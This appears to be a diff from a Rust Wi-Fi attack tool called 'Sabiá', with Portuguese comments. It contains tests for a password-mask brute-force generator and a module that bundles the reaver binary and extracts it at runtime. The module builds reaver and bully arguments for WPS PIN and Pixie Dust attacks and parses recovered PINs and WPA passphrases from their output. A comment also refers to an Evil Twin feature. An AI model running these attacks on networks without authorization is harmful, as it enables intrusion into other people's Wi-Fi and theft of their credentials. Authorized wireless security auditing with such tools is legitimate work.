let mask = Mask::parse("wifi?d?d?d?d").expect("máscara válida");
assert_eq!(mask.len(), 8);
assert_eq!(mask.total(), Some(10_000));
assert_eq!(mask.candidate(0).as_deref(), Some("wifi0000"));
assert_eq!(mask.candidate(9_999).as_deref(), Some("wifi9999"));
assert_eq!(mask.candidate(10_000), None);
}
#[test]
fn mask_literal_question_mark_and_unknown_class() {
// "??" vira um '?' literal; os dois primeiros chars são consumidos
// juntos, então "???d" é: '?' literal + "?d" (classe dígito).
assert_eq!(
Mask::parse("???d").unwrap().candidate(0).as_deref(),
Some("?0")
);
assert!(Mask::parse("?z").is_err());
assert!(Mask::parse("").is_err());
}
#[test]
fn mask_covers_every_combination_exactly_once() {
let mask = Mask::parse("?d?l").expect("máscara válida");
let total = mask.total().unwrap();
assert_eq!(total, 10 * 26);
let mut seen = std::collections::HashSet::new();
for i in 0..total {
seen.insert(mask.candidate(i).unwrap());
}
assert_eq!(seen.len() as u64, total);
}
}
+212
View File
@@ -0,0 +1,212 @@
//! Ataque de PIN WPS com o `reaver` embutido.
//!
//! O protocolo EAP-WSC é grande demais para reimplementar aqui; o Sabiá
//! carrega uma cópia do reaver (GPL-2, veja `assets/tools/LICENSE.reaver`),
//! extrai em tempo de execução e mostra a saída ao vivo. Assim o WPS já
//! funciona sem instalar nada. Se o usuário tiver um `bully` no PATH, ele
//! também aparece como alternativa.
use serde::Serialize;
use std::path::PathBuf;
#[derive(Debug, Clone, Serialize)]
pub struct WpsTool {
pub name: String,
pub path: String,
pub bundled: bool,
}
#[cfg(target_os = "linux")]
const BUNDLED_REAVER: &[u8] = include_bytes!("../../../assets/tools/reaver");
/// Procura um binário no `PATH` — usado pelo WPS (reaver/bully) e, fora
/// deste módulo, pelo Evil Twin (hostapd/dnsmasq), que precisa da mesma
/// checagem sem puxar uma dependência nova só pra isso.
pub(crate) fn find_in_path(binary: &str) -> Option<PathBuf> {
let path = std::env::var_os("PATH")?;
for dir in std::env::split_paths(&path) {
let candidate = dir.join(binary);
if candidate.is_file() {
return Some(candidate);
}
}
None
}
pub fn tools() -> Vec<WpsTool> {
let mut out = Vec::new();
#[cfg(target_os = "linux")]
out.push(WpsTool {
name: "reaver".into(),
path: "integrado".into(),
bundled: true,
});
#[cfg(not(target_os = "linux"))]
if let Some(path) = find_in_path("reaver") {
out.push(WpsTool {
name: "reaver".into(),
path: path.display().to_string(),
bundled: false,
});
}
if let Some(path) = find_in_path("bully") {
out.push(WpsTool {
name: "bully".into(),
path: path.display().to_string(),
bundled: false,
});
}
out
}
pub fn tool_path(name: &str) -> Option<PathBuf> {
match name {
"reaver" => bundled_reaver().or_else(|| find_in_path("reaver")),
"bully" => find_in_path("bully"),
_ => None,
}
}
#[cfg(target_os = "linux")]
fn bundled_reaver() -> Option<PathBuf> {
use std::fs;
use std::os::unix::fs::PermissionsExt;
// `temp_dir` é compartilhado; usa um diretório por UID e confere que ele
// não é um symlink antes de gravar, para não seguir link de outro usuário.
let uid = unsafe { libc::geteuid() };
let dir = std::env::temp_dir().join(format!("sabia-tools-{uid}"));
if let Ok(meta) = fs::symlink_metadata(&dir) {
if !meta.is_dir() || meta.file_type().is_symlink() {
return find_in_path("reaver");
}
} else if fs::create_dir_all(&dir).is_err() {
return find_in_path("reaver");
}
let _ = fs::set_permissions(&dir, fs::Permissions::from_mode(0o700));
let path = dir.join("reaver");
if let Ok(meta) = fs::symlink_metadata(&path) {
if !meta.is_file() || meta.file_type().is_symlink() {
return find_in_path("reaver");
}
if meta.len() == BUNDLED_REAVER.len() as u64 {
return Some(path);
}
}
fs::write(&path, BUNDLED_REAVER).ok()?;
fs::set_permissions(&path, fs::Permissions::from_mode(0o700)).ok()?;
Some(path)
}
#[cfg(not(target_os = "linux"))]
fn bundled_reaver() -> Option<PathBuf> {
None
}
/// Argumentos para uma execução. Sem PIN, usa Pixie Dust (`-K 1`) no reaver
/// e o ataque padrão no bully.
pub fn args(tool: &str, iface: &str, bssid: &str, channel: u32, pin: Option<&str>) -> Vec<String> {
let channel = channel.to_string();
match tool {
"bully" => {
let mut args = vec![
"-b".into(),
bssid.into(),
"-c".into(),
channel,
"-d".into(),
iface.into(),
"-v".into(),
"3".into(),
];
if let Some(pin) = pin {
args.push("-p".into());
args.push(pin.into());
}
args
}
_ => {
let mut args = vec![
"-i".into(),
iface.into(),
"-b".into(),
bssid.into(),
"-c".into(),
channel,
"-vv".into(),
];
match pin {
Some(pin) => {
args.push("-p".into());
args.push(pin.into());
}
None => {
args.push("-K".into());
args.push("1".into());
}
}
args
}
}
}
/// Extrai PIN/PSK de uma linha de saída do reaver/bully.
pub fn parse_line(line: &str) -> (Option<String>, Option<String>) {
let lower = line.to_ascii_lowercase();
let grab = |needle: &str| -> Option<String> {
let idx = lower.find(needle)? + needle.len();
let rest = line[idx..].trim();
let rest = rest
.split_whitespace()
.next()?
.trim_matches(|c| c == '\'' || c == '"');
if rest.is_empty() {
None
} else {
Some(rest.to_string())
}
};
let pin = if lower.contains("wps pin") || lower.contains("pin:") {
grab("pin:").or_else(|| grab("wps pin"))
} else {
None
};
let psk = if lower.contains("wpa psk") || lower.contains("psk:") {
grab("psk:")
} else {
None
};
(pin, psk)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn parses_reaver_output() {
assert_eq!(
parse_line("[+] WPS PIN: '12345670'"),
(Some("12345670".into()), None)
);
assert_eq!(
parse_line("[+] WPA PSK: 'senha-secreta'"),
(None, Some("senha-secreta".into()))
);
}
#[test]
fn builds_pixie_dust_args() {
let pixie = args("reaver", "wlan0mon", "00:11:22:33:44:55", 6, None);
assert!(pixie.contains(&"-K".to_string()));
let pin = args(
"bully",
"wlan0mon",
"00:11:22:33:44:55",
6,
Some("12345670"),
);
assert!(pin.windows(2).any(|w| w == ["-p", "12345670"]));
}
}